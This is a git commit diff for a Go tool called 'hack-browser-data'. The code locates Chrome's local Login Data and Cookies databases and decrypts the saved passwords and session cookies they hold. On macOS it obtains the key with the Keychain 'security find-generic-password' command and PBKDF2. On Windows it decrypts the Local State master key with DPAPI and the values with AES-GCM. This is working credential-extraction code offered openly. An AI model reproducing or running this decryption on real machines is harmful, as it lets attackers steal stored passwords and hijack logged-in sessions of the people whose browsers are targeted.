feat: add error warp

This commit is contained in:
ᴍᴏᴏɴD4ʀᴋ 2020-06-25 17:37:18 +08:00
parent 86d8e7e16e
commit 31419dc003
8 changed files with 159 additions and 87 deletions

View File

@ -6,7 +6,6 @@ import (
"hack-browser-data/utils"
"os"
"path/filepath"
"runtime"
"github.com/urfave/cli/v2"
)
@ -34,14 +33,7 @@ func Execute() {
Action: func(c *cli.Context) error {
log.InitLog()
utils.MakeDir(exportDir)
switch runtime.GOOS {
case "darwin":
err := utils.InitChromeKey()
if err != nil {
}
case "windows":
}
var fileList []string
switch exportData {
case "all":
@ -49,7 +41,11 @@ func Execute() {
case "password", "cookie", "history", "bookmark":
fileList = utils.GetDBPath(exportData)
default:
log.Fatal("choose one all|password|cookie|history|bookmark")
log.Fatal("choose one from all|password|cookie|history|bookmark")
}
err := utils.InitChromeKey()
if err != nil {
panic(err)
}
for _, v := range fileList {
@ -72,7 +68,6 @@ func Execute() {
log.Error(err)
}
}
return nil
},
}

View File

@ -47,18 +47,18 @@ type (
History []*History
}
LoginData struct {
UserName string `json:"user_name"`
encryptPass []byte
Password string `json:"password"`
LoginUrl string `json:"login_url"`
CreateDate time.Time `json:"create_date"`
UserName string
EncryptPass []byte
Password string
LoginUrl string
CreateDate time.Time
}
Bookmarks struct {
ID string `json:"id"`
DateAdded time.Time `json:"date_added"`
URL string `json:"url"`
Name string `json:"name"`
Type string `json:"type"`
ID string
DateAdded time.Time
URL string
Name string
Type string
}
Cookies struct {
KeyName string
@ -262,14 +262,11 @@ func parseLogin() {
err = rows.Scan(&url, &username, &pwd, &create)
login = &LoginData{
UserName: username,
encryptPass: pwd,
EncryptPass: pwd,
LoginUrl: url,
CreateDate: utils.TimeEpochFormat(create),
}
if len(pwd) > 3 {
// remove prefix 'v10'
password, err = utils.Aes128CBCDecrypt(pwd[3:])
}
password, err = utils.DecryptChromePass(pwd)
login.Password = password
if err != nil {
log.Println(err)
@ -319,10 +316,8 @@ func parseCookie() {
CreateDate: utils.TimeEpochFormat(createDate),
ExpireDate: utils.TimeEpochFormat(expireDate),
}
if len(encryptValue) > 3 {
// remove prefix 'v10'
value, err = utils.Aes128CBCDecrypt(encryptValue[3:])
}
// remove prefix 'v10'
value, err = utils.DecryptChromePass(encryptValue)
cookies.Value = value
cookieList = append(cookieList, cookies)
}

View File

@ -43,7 +43,7 @@ func newCore(level string) zapcore.Core {
MessageKey: "msg",
StacktraceKey: "stacktrace",
LineEnding: zapcore.DefaultLineEnding,
EncodeLevel: zapcore.CapitalColorLevelEncoder,
EncodeLevel: zapcore.CapitalLevelEncoder,
EncodeTime: zapcore.ISO8601TimeEncoder,
EncodeDuration: zapcore.SecondsDurationEncoder, //
EncodeCaller: zapcore.ShortCallerEncoder,

40
main.go
View File

@ -1,49 +1,9 @@
package main
import (
"encoding/json"
"fmt"
"hack-browser-data/cmd"
"hack-browser-data/core/common"
"hack-browser-data/log"
"hack-browser-data/utils"
"path/filepath"
"runtime"
)
func main() {
cmd.Execute()
}
func parse() {
osName := runtime.GOOS
switch osName {
case "darwin":
err := utils.InitChromeKey()
if err != nil {
log.Println(err)
panic("init chrome key failed")
}
case "windows":
fmt.Println("Windows")
}
chromePath := utils.GetDBPath(utils.LoginData, utils.History, utils.Bookmarks, utils.Cookies)
for _, v := range chromePath {
dst := filepath.Base(v)
err := utils.CopyDB(v, dst)
if err != nil {
log.Println(err)
continue
}
common.ParseDB(dst)
}
fmt.Println("bookmarks", len(common.FullData.Bookmarks))
fmt.Println("cookies", len(common.FullData.Cookies))
fmt.Println("login data", len(common.FullData.LoginData))
fmt.Println("history", len(common.FullData.History))
d, err := json.MarshalIndent(common.FullData.Bookmarks, "", "\t")
err = utils.WriteFile("data.json", d)
if err != nil {
log.Println(err)
}
}

View File

@ -1,6 +1,7 @@
package utils
import (
"errors"
"fmt"
"hack-browser-data/log"
"io/ioutil"
@ -11,6 +12,23 @@ import (
"time"
)
var (
passwordIsEmpty = errors.New("decrypt fail, password is empty")
)
type DecryptError struct {
err error
msg string
}
func (e *DecryptError) Error() string {
return fmt.Sprintf("%s: %s", e.msg, e.err)
}
func (e *DecryptError) Unwrap() error {
return e.err
}
const (
LoginData = "Login Data"
History = "History"
@ -49,7 +67,7 @@ func IntToBool(a int) bool {
func TimeEpochFormat(epoch int64) time.Time {
maxTime := int64(99633311740000000)
if epoch > maxTime{
if epoch > maxTime {
epoch = maxTime
}
t := time.Date(1601, 1, 1, 0, 0, 0, 0, time.UTC)

View File

@ -6,6 +6,7 @@ import (
"crypto/cipher"
"crypto/sha1"
"errors"
"fmt"
"hack-browser-data/log"
"os/exec"
"path/filepath"
@ -22,7 +23,6 @@ var (
command = []string{"security", "find-generic-password", "-wa", "Chrome"}
chromeSalt = []byte("saltysalt")
chromeKey []byte
chromePass []byte
)
func GetDBPath(dbName ...string) (dbFile []string) {
@ -58,16 +58,27 @@ func InitChromeKey() error {
log.Println(err)
}
temp := stdout.Bytes()
chromePass = temp[:len(temp)-1]
decryptPass(chromePass)
chromePass := temp[:len(temp)-1]
decryptChromeKey(chromePass)
return err
}
func decryptPass(chromePass []byte) {
func decryptChromeKey(chromePass []byte) {
chromeKey = pbkdf2.Key(chromePass, chromeSalt, 1003, 16, sha1.New)
}
func Aes128CBCDecrypt(encryptPass []byte) (string, error) {
func DecryptChromePass(encryptPass []byte) (string, error) {
if len(encryptPass) > 3 {
return aes128CBCDecrypt(encryptPass[3:])
} else {
return "", &DecryptError{
err: passwordIsEmpty,
msg: fmt.Sprintf("password is %s", string(encryptPass)),
}
}
}
func aes128CBCDecrypt(encryptPass []byte) (string, error) {
if len(chromeKey) == 0 {
return "", nil
}

1
utils/utils_linux.go Normal file
View File

@ -0,0 +1 @@
package utils

View File

@ -1,26 +1,118 @@
package utils
const (
winChromeDir = "/Users/*/Library/Application Support/Google/Chrome/*/"
import (
"crypto/aes"
"crypto/cipher"
"encoding/base64"
"hack-browser-data/log"
"os"
"path/filepath"
"syscall"
"unsafe"
"github.com/tidwall/gjson"
)
func GetDBPath(dbName string) string {
s, err := filepath.Glob(winChromeDir + dbName)
if err != nil && len(s) == 0 {
panic(err)
const (
winChromeKeyDir = "/AppData/Local/Google/Chrome/User Data/Local State"
winChromeDir = "/AppData/Local/Google/Chrome/User Data/*/"
)
var (
chromeKey []byte
)
func InitChromeKey() error {
chromeKeyPath := os.Getenv("USERPROFILE") + winChromeKeyDir
keyFile, err := ReadFile(chromeKeyPath)
if err != nil {
log.Error(err)
return err
}
return s[0]
s := gjson.Get(keyFile, "os_crypt.encrypted_key").String()
masterKey, err := base64.StdEncoding.DecodeString(s)
if err != nil {
return err
}
chromeKey, err = decryptStringWithDPAPI(masterKey[5:])
return err
}
func AesGCMDecrypt(crypted, key, nounce []byte) ([]byte, error) {
func GetDBPath(dbName ...string) (dbFile []string) {
var dbPath []string
chromeDBPath := os.Getenv("USERPROFILE") + winChromeDir
for _, v := range dbName {
dbPath = append(dbPath, chromeDBPath+v)
}
for _, v := range dbPath {
s, err := filepath.Glob(v)
if err != nil && len(s) == 0 {
continue
}
if len(s) > 0 {
log.Debugf("Find %s File Success", v)
log.Debugf("%s file location is %s", v, s[0])
dbFile = append(dbFile, s[0])
}
}
return dbFile
}
func DecryptChromePass(encryptPass []byte) (string, error) {
if len(encryptPass) > 15 {
// remove prefix 'v10'
return aesGCMDecrypt(encryptPass[15:], chromeKey, encryptPass[3:15])
} else {
return "", passwordIsEmpty
}
}
// chromium > 80 https://source.chromium.org/chromium/chromium/src/+/master:components/os_crypt/os_crypt_win.cc
func aesGCMDecrypt(crypted, key, nounce []byte) (string, error) {
block, err := aes.NewCipher(key)
if err != nil {
return nil, err
return "", err
}
blockMode, _ := cipher.NewGCM(block)
origData, err := blockMode.Open(nil, nounce, crypted, nil)
if err != nil{
if err != nil {
return "", err
}
return string(origData), nil
}
type DataBlob struct {
cbData uint32
pbData *byte
}
func NewBlob(d []byte) *DataBlob {
if len(d) == 0 {
return &DataBlob{}
}
return &DataBlob{
pbData: &d[0],
cbData: uint32(len(d)),
}
}
func (b *DataBlob) ToByteArray() []byte {
d := make([]byte, b.cbData)
copy(d, (*[1 << 30]byte)(unsafe.Pointer(b.pbData))[:])
return d
}
// chrome < 80 https://chromium.googlesource.com/chromium/src/+/76f496a7235c3432983421402951d73905c8be96/components/os_crypt/os_crypt_win.cc#82
func decryptStringWithDPAPI(data []byte) ([]byte, error) {
dllCrypt := syscall.NewLazyDLL("Crypt32.dll")
dllKernel := syscall.NewLazyDLL("Kernel32.dll")
procDecryptData := dllCrypt.NewProc("CryptUnprotectData")
procLocalFree := dllKernel.NewProc("LocalFree")
var outBlob DataBlob
r, _, err := procDecryptData.Call(uintptr(unsafe.Pointer(NewBlob(data))), 0, 0, 0, 0, 0, uintptr(unsafe.Pointer(&outBlob)))
if r == 0 {
return nil, err
}
return origData, nil
defer procLocalFree.Call(uintptr(unsafe.Pointer(outBlob.pbData)))
return outBlob.ToByteArray(), nil
}